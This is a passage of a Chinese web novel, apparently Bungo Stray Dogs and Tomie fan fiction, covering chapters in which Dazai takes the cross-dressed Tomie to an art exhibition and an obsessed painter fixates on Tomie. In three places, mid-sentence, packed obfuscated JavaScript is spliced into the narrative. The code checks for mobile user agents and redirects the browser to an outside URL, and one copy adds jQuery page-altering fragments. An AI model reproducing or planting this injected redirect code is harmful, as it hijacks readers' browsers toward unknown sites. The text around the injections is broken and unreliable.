宫水富江的呼吸逐渐平稳，然后站直了身体。 现在，他的脑海逐渐冒出了一个想法。 ——想要活着，除了依靠别人外，他自己也得寻找自保的手段。 宫水富江的第一想法是刀，可转念又轻蹙眉头。 因为像他这种常年不运动、战斗力只有五的社恐，即使拿着刀也很难对付得了体型比他大、甚至赤手空拳的敌人。 就在这忧愁之际，宫水富江想起了自己从松下父子那里继承的企业。 他记得，那家企业好像是生产枪支的？ 10.第 10 章 白日，港口Mafia。 黑发青年坐在自己的办公室内看似闲来无事地转着手中的钢笔，可仔细一看能够发现对方的视线正落在桌面上的文件上——一份死者的生平记录。 他并不认识这个人，甚至在对方活着的时候都没见过面。但之所以需要查看这个人的记录，完全是因为在几天前，对方与宫水富江有所接触。 知道这件事情也算是个意外，那天太宰治回来就敏锐地发现了宫水富江的不对劲。 对方重换的衣服，闪躲的视线，很明显与支出不相符的购物记录，让太宰治发现了一件事——对方今天出门在外一定经历了什么。 出于对方不怀好意的、有目的性的接近，太宰治的第一反应是对方开始与自己背后的组织传递信息。 可能是因为对方放松了警惕，也可能是对方背后的组织有些迫不及待，但无论是哪种对于太宰治来说都是好事——这意味着他即将可以抓到那个组织的踪迹。 然而在调查后，太宰治并未找到有关于任何对方奇怪的举动，反而发现了对方遭遇了跟踪狂的事情。 想到这里黑发青年脸色一黑，但很快还是收敛了情绪。 他放下手中旋转着的钢笔，单手撑着脸颊面无表情地看向别处。 这场拉锯战远比他想象的要持久得多，刚开始还有的耐心在这一个月的时间下来即将被消磨殆尽。 这样下去可不行，既然对方不主动，那么他得想个办法…… 黑发青年思考着方法，就在这个时候他办公室的房门被在暴力打开后发出‘砰’的一声巨响。 太宰治像是被吓到炸毛的猫，睁大双眸看着门口。 “太——宰——” 赭发青年用凶恶的神情恶狠狠地盯着面前的黑色青年，“终于让我找到你了，你这条青花鱼！你知道我蹲了你多久吗？！” 黑发青年百无聊赖地看向别处，做出了完全忽视的举动，这使得赭发青年更加愤怒。 中原中也上前就是用右手拎起了太宰治的衣领，“虽然找不到证据，但是你是不是用别的方法故意给我塞了一堆工作？！” “诶……中也，原来你是这种不分青红皂白就污蔑别人的家伙吗？”黑发青年不正面回答，而是厚着脸皮反咬一口。 这种逃避的行为反而让中原中也更加确信，他气极反笑，“呵，你觉得你在我这里还有什么信誉吗？只要出现问题，不用想就知道一定是你做的！” 紧接着，他继续道，“而且我记得我前几天已经让你的副手中西给你带话了吧？看样子你是完全没有放在心里啊。” 说着中原中也举起了自己左手，看样子打算下一刻就揍到对方脸上。 可就在这个时候，黑发青年却突然开口。 “是这样吗？我还以为你现在想着别的事情完全不会记着这件事呢？” 中原中也的手顿住，他心中升起不妙的预感，皱起眉头反问，“……什么意思？” 太宰治笑眯眯道，“听你的下属说，你最近和以前不太一样，经常一下班就直接走人。” “……” 太宰治像是没有察觉到对方的沉默，保持微笑，“而且听说你最近经常去街道上晃悠。” “……” 注视着赭发青年的逐渐变化的神情，太宰治一针见血地直接询问，“所以，你是想通过这样的方法和什么人相遇吗？” 这句话仿佛直接戳到了赭发青年的心声，对方倏地松开了拎着衣领的手，急忙反驳，“才没有！” 然而越是这样否认，越是可疑。 大概自己也意识到这一点，赭发青年又瞬间默不作声。 太宰治可不会这样轻易放过对方，他十分欠揍的来到对方的身边，“别这样急着否认嘛，中也……再怎么说你现在也是处于躁动的年纪，有看上的对象是件很正常的事情。所以，对方是谁？说不定我还可以好心地给你出谋划策。” 中原中也一直低沉着头不愿意说话，但是每当太宰治多说一句，他按压帽檐的手就越是用力。 直至对方最后一句后，中原中也终于忍受不了抬起头看向黑发青年。 还好心地出谋划策……对方不故意给他找事就不错了！ “你、……” “太宰先、……中也先生？” 中原中也刚想说点什么，就被人突然打断。 他回过头，是刚刚话语中提到的太宰治的副手中西宽人。 对方小心翼翼地看向他们这边，很明显是对他们现在的状况不解。 “啊，是中西啊。怎么了吗？” 太宰治从他背后探出头来询问中西宽人，相当随意地询问。 中原中也准备等中西宽人讲完后再和太宰治聊，所以他并没有离开或者松手，而是维持原状站在了原地。 中西宽人纠结了一下，但还是交代了这次过来的意图。 “首领要见你。” “让你现在就过去。” 中原中也下意识看向太宰治，果不其然之间对方露出得意的笑容对他开口，“就是这样，首领有事找我，所以我先走了。” 说完，对方头也不回地离开了办公室独留中原中也一个人站在原地。 “可恶……！” 好不容易找到人，结果还是被对方溜走了。 这种感觉令中原中也十分不爽。 * 获得了中原中也的一个秘密，使得太宰治现在的心情十分愉悦。 他想，等他不再对宫水富江的事情感兴趣并解决后，他或许可以将中原中也有在意的人这件事情作为接下来的乐子。 比如说，等对方与对方在意的人进度良好的时候，他从中破坏之类的。 想了想那个场景，太宰治的眼尾微弯。 他来到首领办公室门前，在门卫检查后敲了敲房门。 等里面传来对方的请进后，太宰治才收敛了自己的微表情走了进去。 和上次到来时不一样，这次办公室的落地窗通了电，明媚的阳光照亮了屋内的景色，以至于太宰治能清晰地看清楚发生在自己面前的景色。 偌大的办公室充满了好几排的衣架，每一排衣架上全是各式各样精致华贵的礼服。 披着红色围巾的中年男人在办公桌前小心翼翼地对金发少女开口，“爱丽丝酱，求求你了，换一下这条裙子好吗？这可是最近新出的款式，真的很适合你！” 金发少女身穿红色洛丽塔，双手叉腰道，“人家不要呢！之前你也是这么说的，结果那天我足足换了四五十套裙子才能停下来休息！所以这次说什么我都不会同意的，林太郎！” 听到这样的话语，中年男人立即露出了委屈的神色，“爱丽丝酱……求求你了，就一次……真的就一次……” 金发少女噘起嘴巴撇过头，哼一声。 太宰治见惯了面前这个港口Mafia首领与自己的异能体耍宝的戏码，他面不改色地直接插入两人之间。 “首领，您找我有事吗？” 中年男人被第三个人的声音打断了刚刚的戏份，侧过头来看向黑发青年，紧接着像是后知后觉想起自己还有脸面这种东西轻咳了两声，然后恢复平时稳重的模样。 “咳咳，是这样的，最近我这里有一个合作的任务很适合你去做，所以……” 太宰治一听就明白了，他的表情瞬间‘鲜活’起来。 他特意做出撇嘴的动作，表情嫌弃。 “又来？我前不久不是才完成了和YMC的交易任务吗？” “我才不想去呢，这次让中也接手这个任务吧，我看他最近蛮闲的。” 闲得都有心情在外面做无聊的事情。 然而首领并没有答应，而是站起了身坐到自己的办公座位上，“太宰君，虽然我想同意你的请求，但是这次真的没有办法。” 盯着黑发青年探过来的疑惑神情，森鸥外只是双手合十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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大概是没有想到他居然会是这个回答，首领明显睁大了眼眸呆愣了几秒，直至反应他的话语后，才回答，“啊？嗯，礼服啊，礼服的话你去准备好了，到时候完全可以找我报销。或者，你直接跟我说，我可以让秘书准备合适的。” 太宰治笑了笑，留下意味深长的话语，“那可真是太好了……首领现在刚好和我谈谈这个任务的详细内容吧。” ** 离开首领办公室，太宰治一刻都不想演，脸上的表情瞬间消失。 他接下这个任务不完全是因为森鸥外，也是因为想起了自己正好发愁怎么让宫水富江与其身后的组织联系。 至于那些谣言，只要顺藤摸瓜解决了背后的组织，那么到时候他也就不用继续接受宫水富江的便当，谣言也能不攻自破。 晚上回到公寓，太宰治装若无意和宫水富江聊了起来。 他注视着坐在沙发上的少年，视线落到对方修长雪白的后脖颈处，若无其事道，“最近实在是太忙了，首领又特意让我和一个重要的目标去谈合作和交易……从那些人精的手里给港口Mafia捞好处简直比出外勤还要累。” 说完，他装作疲惫的模样坐到对方的身边垂下眼眸。 很快，他听到了对方的回答。 “又是合作？” “是啊。” 少年似乎若有所思。 见到这个情况，太宰治装作自己很苦恼需要帮忙的样子。 “说起来……富江可以帮我一个忙吗？” “帮忙？如果我可以的话，当然愿意。毕竟太宰先生帮了我很多忙，我都不知道该怎么报答呢。” “太好了。”太宰治露出笑容，“这次与合作对象见面的场地有点特殊要求，所以我希望你能扮演我的女伴参加这次画展。” 随着他的话音刚落，少年精致的面容上露出呆滞的神情。 在反应了许久之后，他才急忙指了指自己，不可思议地询问。 “等、等一下……女伴？我？” “但我明明是个男性啊。” 11.第 11 章 宫水富江紧闭双眼，小心翼翼地握紧双拳放在自己的大腿上。 并久违地感受着化妆刷在自己的脸上不停扫过，带来轻微的痒意。 很快，痒意消失，他感受到化妆刷停止了动作。 他呼吸了一口气，嗅到了甜腻的香味。还没有来得及做出评价，便感知到了面前有人在注视着他。 很不可思议，明明没有‘看见’，但他能分辨得出来，那是欣赏、羡慕和……嫉妒。 “美丽……” 身后女性化妆师的声音响起，令宫水富江睁开眼睛。眼前的景色渐渐清晰，他看向面前不远处的镜子，猛地瞳孔紧缩。 如果不是因为他就是镜中的‘女人’，他甚至以为真正的富江出现在了面前。 带着这种不适感，宫水富江移开了视线，然而看到的另一个女性显然也无法令他放松。 化妆师正赤|裸裸地透过镜子紧紧地凝视着他的脸，眼里的嫉妒像是喷涌而出的井水般即将蔓延到整个化妆间。 对方与他对上视线，大概也察觉到自己显露的神情太过怪异，她微笑起来对他开口。 “抱歉，我只是很久没有制造出像你这样美丽的作品了。” “如果可以的话，我希望能和你拍张照，将其作为我的代表作……您觉得呢？” 美丽是因为他本身美丽，而不是因为你的化妆技术美丽……如果是富江本人在这里的话，肯定会毫不客气地对其这么说。 宫水富江想。 但是作为一名想要低调的社恐，他当然只能低头避开对方的视线回答—— “我觉得不可以……” 在宫水富江的余光中，他能清晰地从镜子里看见化妆师表情骤然僵硬。 对方睁开因为职业微笑眯起来的双眸，张开嘴，带着怒意喊，“你这个、……” 然而话语还未说完，化妆室的门就被敲响。 “好了吗？太宰先生已经等得不耐烦了。” 宫水富江能发现化妆师的神情在那句话后表情纠结，大概因为才见面没多久，富江体质的影响没有那么深，对方很快做出了选择，对外面的人表示很快就好。 见状，他松了口气。 这里是港口Mafia名下的一家企业，也就是说这里的员工自然认识作为港口Mafia高层的太宰治。 在他和性命的选择中，化妆师最终还是选择了自己的性命。 而他出现在这里的原因…… 被戴上假发的宫水富江拿起衣物来到了换衣间，他垂眸注视着这件华丽而昂贵的黑色礼服，最终叹了口气。 一切都要源于几天前太宰先生下班回家后对他寻求的帮助说起，看着经常帮助自己且在港口Mafia摧残下努力工作的主角表示自己需要他来扮演女伴的时候，他内心真的是拒绝的。 可是在那之前就表达了对方需要他当然愿意帮忙的前提条件下，这份拒绝怎么都说不出口。 于是，结果显而易见。 他被带来了这里，即将参加对方口中的画展。 不经意间，宫水富江想起了自己的室友，当时对方怎么苦苦哀求，他都不同意，结果到头来还是没能逃过女装这一劫。 不，也不能这么想。 宫水富江边换上衣服，边自我安慰。 如果当时他同意了室友的请求，那么现在的站在这里的他不一定还是位男性，生理意义上的。 果然转念这么一想，宫水富江也没有那么难以接受现在面临女装的现实。 毕竟，这至少说明他还是位男性。 宫水富江思索至此，认命般地展开了这件衣服换上。 * 太宰治若无其事的坐在外面的沙发上，单手抵着脸颊，无趣地看着周围。 他知道女性在这方面向来需要花费很长的时间，但是他不知道男性居然也是这样。 是因为化妆吗？还是说衣服？ ……明明他易容的时候就没有这样啊？ 就这么想着，店长谄媚地来到了他的身边，“太宰先生，我刚刚已经催过了，化妆师表示很快就好，很快嘿嘿嘿……” 太宰治皱眉，撇过头不去看这位店长。 不过显然这位店长并没有向他说谎，不久后，少年很快打开了衣帽间的帘子出现在了他的面前。 丝滑柔顺的黑色布料制作的精致礼服衬托出对方白皙光滑的皮肤，高跟鞋体现了略显高挑的身高。 为了防止暴露喉结而戴上的Choker彰显了修长的颈部，以及黑色的蕾丝面纱给那上半张脸的容貌附上了若隐若现的魅力。 简直是件精美的、应该摆放在艺术馆里供人欣赏的艺术品。 是美的最高体现！ 太宰治也不自觉地睁大双眸，看着因为对方而黯然失神的景色在内心做出了评价。 “唔噢噢噢噢……” 耳边响起了细微的声音，太宰治被拉回思绪。他顺着声音望去，只见是先前的店长正目不转睛的盯着衣帽间上站着的少年情不自禁地发出了刚刚被震撼到的声音。 他再看向周围，几乎所有人的目光都聚集在了同一处。 “太、太宰先生……” 哪怕穿上了女性的服装，声线可不会因此发生转变。 他可能还需要教对方怎么发出更像女性的声音，太宰治边想，边抬头看向少年。 可下一个瞬间，他目光微怔。 面纱仅仅只是遮掩了对方上半张脸的面貌，从他的视角，太宰治依然能看见对方抿住的嘴角下疑似不安的情绪。 是想要他的夸赞吗？ “富江，这件礼服很适合你。”他嘴角上扬，毫不吝啬自己的夸奖。但很快又话锋一转，“就是那顶假发和你的原发比起来要差得太远了。” 如果说对方的真发如宝石般具有光泽，如上等的丝绸般顺滑。那么对方戴着的那顶假发就像是失去水分的枯草，如低劣的布料。 在他的话语后，少年的表情发生了轻微的改变，但太宰治有点看不出来对方究竟是高兴还是不高兴。 但没多久，太宰治就将这件事情甩到了脑后。 因为少年径直走下来的时候，不习惯高跟鞋，往前摔了过来。 太宰治下意识接住对方，紧接着熟悉的香味再次扑面而来。 通过没有被绷带缠绕的手心，他摸到了因为衣料紧贴着对方皮肤而显现出来的纤细腰部和蝴蝶骨。 居然还有腰窝…… 带着这样自己都觉得奇怪的评价，他低下头去，正好看到对方略显吃痛的表情。 瞬间，炙热从他的手心蔓延开来。 太宰治瞬间将对方扶好，并向后退了两步，保持了一个安全的距离。 他的余光看向四周，因为刚刚的插曲，所有的目光再次聚集在少年的身上。 太宰治注视着对方华贵的布料，又看了看自己身上由港口Mafia统一发布的黑色西装。不知道到想到了什么，他对着身旁原本不顺眼的店长开口。 “给我也选一套西装，以及……” 他无视店长点头哈腰的动作继续道，“给富江换一双鞋子。” * 上了黑色轿车，宫水富江终于松了口气。 因为高跟鞋而摔倒什么，这种经历他这辈子真的不想再有了。 他都不敢想象，如果不是太宰先生及时出手，自己摔倒地面上会是怎样尴尬的场景。 但可以肯定，那必定会列为自己这辈子最不想回忆的画面之一。 “富江。” 宫水富江抬起头，看向身侧喊他的黑发青年。 对方现在没有微笑，但也没有那种生人勿近的面无表情，更像是陷入了某种思绪。 他不能理解，但还是乖乖回应。 “是……” “虽然你的女装毫无破绽，但是你的声线听起来更像男生。你可以稍微将自己的声线变得尖锐一点……” 宫水富江懂了对方为什么陷入思绪了，原来是因为他的声音听起来不太像女性。 他按照对方的话语尝试了几个音调，并询问，“是这样吗？” 对方沉默，宫水富江也有点不好意思起来。 他主动提议，“其实我想我不用说话也没关系，毕竟我这次这是作为陪衬才去的不是吗？我到时候到了画展，完全可以走了角落不说话不给你添麻烦的……” 倒不如说，这才是他期望的样子。 大概是感受到了他话语中的真挚，对方并未拒绝他的建议。 而是在思考了他想的办法后，简单地提醒他不要离得太远。 宫水富江当然不会离对方太远，因为他还担心自己的富江体质。 想到这里，他下意识摸了摸大腿内侧的手枪。 这是他上次吸取教训后从YMC获得的手枪，不过虽然这样，他目前也只知道该如何使用它，而做不到远距离攻击人。 在宫水富江低头摸向大腿内侧的时候，他身旁的黑发青年则是在注视着他。 那双鸢眸空洞无神，像是在思索着什么，可很快在少年看过来时移开了视线。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526109|170551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汽车行驶着，很快就到达了画展的地点。 与松下父子的别墅相比，这个画展的地点是靠近横滨市内的边缘。之所以选择这里，恐怕也是为了大家能够安静地欣赏画展。 宫水富江刚踏入画展，他就敏锐地感知到了有好几个人的视线往他这边看。 即使他选择了面纱来代替帽子，也并不确定能降低多少影响。为了防止更加显眼，他对太宰治打了招呼后，便立即朝着人少的角落走去。 随着画展的策划人出来为大家讲解本次画展的主题，活动也正式开始。 人群开始流动、聚集，大家借用画展为借口实际来交流的真正目的也随之显现。大多数人都选择了无视画作，与身旁的人交谈。 这里既不像上次宴会时有食物，也不用和别人进行强制的交流。 可只要无法离开，宫水富江就只能无聊。想了一下，他选择去看看那些无人问津的画作。 虽然听太宰先生说是画展，但宫水富江并不知道画家是谁，又有什么代表作。 他沿着画廊逐个观看。 尽管并不了解，但从这些几乎画的都是同一人的画作上看，他明白这位画师相当满意他的这位女性模特。 随着行走，遮掩上半张脸的面纱显得格外影响视线。 他轻蹙眉头，确认周围无人后伸出手稍稍挑起一点面纱，好让他能够更加清楚地看到画作。 ** “可恶的资本家……！” 才川拓人站在角落看着这些不懂得欣赏、将这次画展当作交流宴会使用的资本家恶狠狠道。 他明明已经向策划这次画展的馆长说明了自己的要求，可是到来的人、甚至是女性都对他的画无动于衷。 在发现这点后，才川拓人也事后寻找馆长讲明了这件事，可那个老头却说…… “不要在意，虽然他们不懂你的艺术，但是他们知道为你花钱啊！你知道这场画展他们给你投资了多少钱吗？我告诉你，是这个数嘿嘿嘿……” 才川拓人还记得那个眼里全是钱的老家伙对他比的手势。 可是光是有钱又有什么用？他要的是人体油画界的名声，是艺术！而不是钱！！！ 才川拓人看向自己被挂在墙上的画作，明明都是他的自信之作，现在却无人问津…… 他的视线一移，注意到了走廊上唯一行走的黑色人影。 被对方优美的背影吸引，才川拓人下意识走了上去。 他想，这是不同于那些恶臭的资本家、能懂得他艺术作品的人。 对方似乎觉得面纱影响了欣赏艺术，于是轻轻撩起。 于是，他趁着对方不注意，来到了对方的身侧开口。 “你觉得这些画作怎么样？” 对方明显被他的声音吓了一跳，立即低下了头去。 才川拓人暗自感叹自己实在是太着急了，于是又讲，“抱歉，我不是故意的。只是太想和别人交流这些艺术了。” 对方本来似乎还想继续保持沉默，但好像又觉得不合适。 直至好一会儿，才缓缓低声回答了他的问题。 “挺好的……大概。” 才川拓人原本还对这位女性前面的回答十分满意，但又因为对方的后一句话有所不满。 “什么叫作大概，这分明是充满了灵气和艺术气息的作品，流畅的线条、舒适的颜色……都说明了这画中的模特是这位画师的缪斯，缪斯你能理解吗？那是所有艺术者追求的灵感来源！你看见画作中模特的魅力了吗？这就是画师存在的意义！” “……是这样吗？” 才川拓人听着对方的回答，表情有些难看。 对方这是什么意思？ 所以独自一个人过来看画，不是为了欣赏，而是因为看不起吗？觉得这些都是他自己的想法吗？ 他忍不住道，“你抬起头再仔细看看，这样一来你一定、……” 对方似乎真的按照他的话语抬起来查看，才川拓人看向对方，话语戛然而止。 面纱微微撩起不足以让他看到对方的全部容貌，但即使这样，他依然看到了那些许被遮掩的美貌。 从他的视角，他甚至看到了对方左眼下的泪痣，完美的下颌线和白皙的皮肤。 他突然明白了为什么对方刚刚那么看不起他的作品了，因为对方才是他该追求的完美线条和最极致的色彩。 他伸出手按住对方的肩膀，激动地询问，“你来做我的模特好了！相信我，你一定比我这些画上的模特更加适合成为我的缪斯！” 12.第 12 章 ……什么鬼！ 宫水富江只想这样咆哮。 本以为就自己一个人，没有想到从不知道什么地方跳出来了这个人。 这也就算了，面对这个人自来熟的艺术话题，完全没有这方面艺术的宫水富江只想简单地附和离开。 却没想到，附和反而引起了对方的不满。 不想引起事端的宫水富江只好多看两眼来证明自己的真心实意，却不料对方居然是画师本人！ “怎么样？来当我的模特吧？” “啊，我就是这次画展的画师才川拓人！你的名字是什么？” 面对面前之人喋喋不休的话语，和对方按压在自己肩膀上不让自己行动的举动，宫水富江只觉得自己实在出师不利。 他无视对方的话语，尝试挣脱，“请、请松手……” “不行！除非你同意成为我的模特！我的缪斯！”才川拓人说着手上愈发用力，“呐，告诉我你的名字好不好？这位小姐……” 宫水富江有些吃痛，他能明显感受到面前的人痴迷的速度比之前的几人更加迅速。 是因为现在的模样更像原著的富江吗？ 宫水富江有些不解。 他泛红的指尖微微抽动，想伸手探向裙摆内侧，触摸那里的枪支。 但最终没有按照预想的那样做出动作。 因为不合适。 面前的人还没有到需要用枪对付的地步，而且他也无法在这种大庭广众之下拿出枪支。 这种举动，说不定还会给正在任务中的太宰先生制造麻烦。 见状，宫水富江轻蹙眉头，加大音量对这个人开口，“我不愿意，你快放手！” 宫水富江能够感受到话音落下后，面前这个画师的微怔。 对方的手也停止了施加力气，宫水富江趁机甩开了对方的手臂，朝着另一个人群多的地方走去。 他想，对方总不至于在自己的画展上闹出事情。 通过之前还算正常的对话，宫水富江还是能察觉到这位画师有多么看重自己的画作展出的。既然看中画作，就不会放弃自己的名声。 可是还没有走两步，他的手就被猛地拉住。 “小姐，求求你了……只要你愿意成为我的模特，我一定会让你的画像如蒙娜丽莎般成为所有人千金难求的名作，让你的美貌众所周知……” 身后的画师传来低声祈求，如果是不知情的人，肯定会为这名画师的祈求感到心软。 可只有宫水富江知道，对方话语中的含义究竟有多恐怖。 把富江的面容展示给所有人看？还要众所周知？ 怎么想都是灾难。 更何况，伊藤润二系列里《富江·画家》的故事他还记得。 富江不仅没能逃过被分尸的命运，还被画师画出了非人的本质。 “我不要。”宫水富江回眸果断拒绝面前的画师，并继续道，“我既不需要那样的名气，也不需要让……的美貌众所周知。” 宫水富江说完想要离开，可画师却毫无顾忌的强硬拉着他的手腕，然后趁机将他头顶的面纱撩了起来，痴迷地盯了起来。 “……！！！” 意识到对方做了什么后，宫水富江瞳孔紧缩。 “你、……” “能放手吗？这位……才川先生？” 宫水富江身后传来熟悉的声音，几乎是第一时间他就认出了是谁——太宰治。 于是，还想对面前画师说些什么的话语顿住。 在宫水富江的目光中，他能看见太宰治单手捏住画师的胳膊，然后用力捏住，疼得画师本人嗷嗷直叫。 “放手……快放手！我的胳膊……” 画师本人被迫松开了手。 就在这个时候，馆长来到身边。 对方额头冒着细汗，双手不停揉搓，小心翼翼地对着他们、……更准确地说，是对着他身后的太宰治开口，“太宰先生……真是不好意思，才川先生他不是故意的，他只是看见了美丽的存在，有点控制不住自己追求艺术的心情。麻烦你体谅体谅他，不要对他一般见识了……” 在听到馆长的话语后，黑发青年脸上维持着微笑，手却依然没有放松甚至隐隐约约有更加用力的迹象，“诶……虽然你这么说，但是这个人还是冒犯了富江。” “——怎么办好呢？” 明明语气慢悠悠的，可眼神却黑暗的没有任何笑意，看起来莫名的恐怖。 馆长看着这样的客人，整个人都在心中怒骂才川拓人。 对方知道刚刚给他添了多大的麻烦吗？！这可是港口Mafia的高层，而不是什么普通的企业家！一旦惹怒了对方，对方绝对不会给他们好脸色看！ 如果不是因为现在两人在一条船上，如果不是因为对方给他带来钱…… 馆长这么想着，脸上露出讨好的笑容。 “您看您大人不记小人过，就先放了他吧……不过你放心，他一定会好好给您道歉的！”说完馆长看向才川拓人，“听见没有！快点道歉！” 黑发青年却回答，“应该是向富江道歉才对吧？” 馆长见状立即回答，“没错没错，还应该向这位……富江小姐道歉。” 然而画师却像失了神般，直勾勾地盯着宫水富江，“富江……原来你叫富江啊？” 宫水富江蹙眉。 馆长一听就知道不妙，他马上来到才川拓人的身边，狠狠地按压对方的头，强行让对方给两人道歉。 “实在是抱歉！真的很对不起！我这就让他给你鞠躬道歉！” 在对方的粗暴的动作下，画家被迫弯下腰，馆长为了更有真诚自己也跟着弯腰。 太宰治俯视着两人的举动，即使馆长表现得很有诚意，但是对方身旁的才川拓人依然在每次抬起头的时候，偷偷看向他身前的少年。 他再环顾四周，因为这个插曲，所有的目光都聚集在这里，但是他能看得出来，有不少人的目光更是聚集在少年的身上。 注意到这件事，他没有说话，而是眯起了眼睛。 终于这场闹剧结束，馆长带着画家向每个客人道歉。 “真是对不起，太宰先生……” 太宰治看向少年，对方抬起头，双手交错在身前显得相当拘谨。 他沉默了一下，随后迅速勾起唇角，像是什么都没有发生般开口，“这并不是你的错，富江。” 说完太宰治注意到了少年看向人群的小动作和那欲言又止的嘴角，他继续道，“而且你也并没有打扰我完成任务，不仅如此，我还要多亏了你帮我进入画展。” 黑发青年的安慰比任何人都要有效，他看到了少年放松的表情。 随后的时间，他没有说话，而是带着少年离开了画展。 注视着两人离开，馆长终于松了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532176|170551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口气。 至少目前看起来这位港口Mafia的高层没有想要动他们的打算，只不过…… 馆长看了看周围的贵客，又看向自己身边依然失神的画师才川拓人叹气。 对方恐怕很难得到自己想要的东西了。 想到这里，馆长离开。 而被独自留下的画师才川拓人则是默默地来到了自己的画作面前，然后呢喃着什么。 仔细一听，似乎在不断重复着什么—— “富江富江富江富江富江……” * 如往常一样在宫水富江睡下后，太宰治离开了公寓。 他双手插兜，行走在回集装箱的路上，独自沉思。 从带着宫水富江进入画展开始，他就开始一心二用注意对方的一举一动。 因此，他看到了画师才川拓人的全过程。 之前，他将自己的注意力全神贯注在宫水富江的身上，因此从未在意过。 可现在回过头来查看，他发现在宫水富江的身边已经发生了太多相似的事情。 无论是松下父子，还是一周前的跟踪狂，包括今天的画师才川拓人，他们都经历了一个极度相似的过程。 接触富江，痴迷富江，然后……对富江充斥着杀意。 如果是一次两次是偶然，那么发生第三次，就意味着不正常。 其实他也曾疑问过，比如为什么那背后的组织会派富江来针对他，为什么富江的目的如此明显表现却有点差距，又比如为什么这个组织如此确信富江会成功。 可现在的一切随着他想到的答案而被迎刃而解，包括曾经他疑惑过为什么仅仅几天未见松下父子对富江的情绪就极端到了那种地步。 ——宫水富江拥有异能力。 可如果只是这样是个普通的异能力也就算了。 最可怕的是，对方的异能力还是最难搞、最麻烦、最被忌讳的被动型精神系异能力。 太宰治想到这里，抬起头看向夜空。 明月周身此时仿佛泛蓝蓝的光圈，看起来格外不同。 他也在森鸥外的要求下解决过一个精神系异能力者梦野久作。 对方的能力是在自己的玩偶被破坏时，能诅咒伤害自己的人。中咒者的身上会浮现掌印，随后开始精神失常，无差别攻击身边的人。 精神系本身就很独特，更不用说宫水富江还是和他一样的被动型。 也就意味着，只要宫水富江独自面对外人，就很有可能因为异能力的被动触发再次造成和这几次一样的事件。 而要是那个时候情况紧急的宫水富江没有找到下一个目标，那么对方很有可能会死在中了他精神系异能力的对象手下。 ……原来是这样吗？ 太宰治停下脚步，低垂着头不知道在想些什么。 ** 次日，太宰治在从宫水富江那里拿到便当后，来到了港口Mafia找首领森鸥外汇报任务。 可是还没有来到首领的办公室，就先被后脚来到港口Mafia的中原中也抓到。 对方上来就表情奇怪地看向他，“……我听说了。” 太宰治默不作声，暗自疑惑，直至对方继续讲完后续。 “——你昨天在任务过程中为自己的情人出头的事情。” 太宰治：“……？” 他缓缓在自己的头顶打了个问号。 13.第 13 章 其实很多人智力不正常，但生活能够自理，所以一直被当成正常人。 看着站在自己面前表情奇怪的赭发青年，太宰治莫名想到了这句不知道从哪里看来的话。 尽管之前只是觉得中原中也是没有大脑的蛞蝓或者说是大脑没有一丝褶皱的家伙，但是从没有想过对方毫无头脑到了这个地步…… 明明不久前，还觉得他这样的人其实并不存在什么情人，对方肯定是被他欺骗了，结果转头就又说出了这样的话。 ……他可能真的是个智障。 太宰治面无表情地想。 赭发青年大概是出于不太好意思说这种事情，索性在刚刚的对话中看了一眼后就撇过了头。 因此，并未看见现在黑发青年的神情的对方将此刻的默不作声当成了默认，又继续道。 “嘛，没有想到你这样喜欢自|杀，生活作息糟糕，除了脑子可以就没有一点优点的人，居然也会有这样的时候……”赭发青年像是感慨，紧接着又一转话锋像是贴心嘱咐，“看得出来你很重视对方，既然这样，你记得要好好珍惜对方，不要总是用那副态度对待对方……” 太宰治听了一会儿，随后毫不客气地打断，“中也，是太溺爱下属的后遗症吗？我怎么不知道你原来还有当妈妈的爱好？” 无视对方震惊的神情，他继续嗤笑，“我真的推荐你去中区山下町79号那个地方看看。” “你这家伙、……”赭发青年说到一半的话语因为太宰治后一句话戛然而止，对方瞬间眼神迷茫地询问，“为什么？” “因为你可以去那里挂个神经内科或者神经外科。” “青花鱼——！！！” 这下就算再怎么不懂的中原中也|也听懂了面前之人所说的话语，对方的意思就是说他脑子不好可以去医院看看！ 可恶！ 中原中也瞬间愤怒，他抬腿就朝着黑发青年踢了过去，可对方直接熟练地往上一跳，躲了过去。 眼见一击不成，中原中也下意识再来一击。 他顺势转身，再次对准身后之人猛踢，可依然只踢到了空气。 原来对方早就往后一撤，离开了刚刚的位置。 显然早就想到了这一幕。 “中也，还要我说多少遍？你的攻击我早就了如指掌。” “哈？” 黑发青年如此说道，却只引来了赭发青年的不满。 眼看对方下一次攻击更加迅猛，黑发青年只是站在原地不动。 中原中也见状蹙眉，却没有停下的打算。 直至对方开口—— “很可惜中也，我接下来还要去见首领……你也不想面对首领在规定时间却看不到我的质问吧？” 攻击停住，刚好卡在了在黑发青年身前几厘米的距离，这足以显示攻击之人身手厉害到了什么程度。 可对于本人而言，这都不如刚刚听到的那句话来得重要。 “你这个混蛋……” 中原中也恶狠狠地盯着太宰治那无所谓的表情，放下了自己的腿，然后眼睁睁地注视着对方离开，自己却无法阻拦。 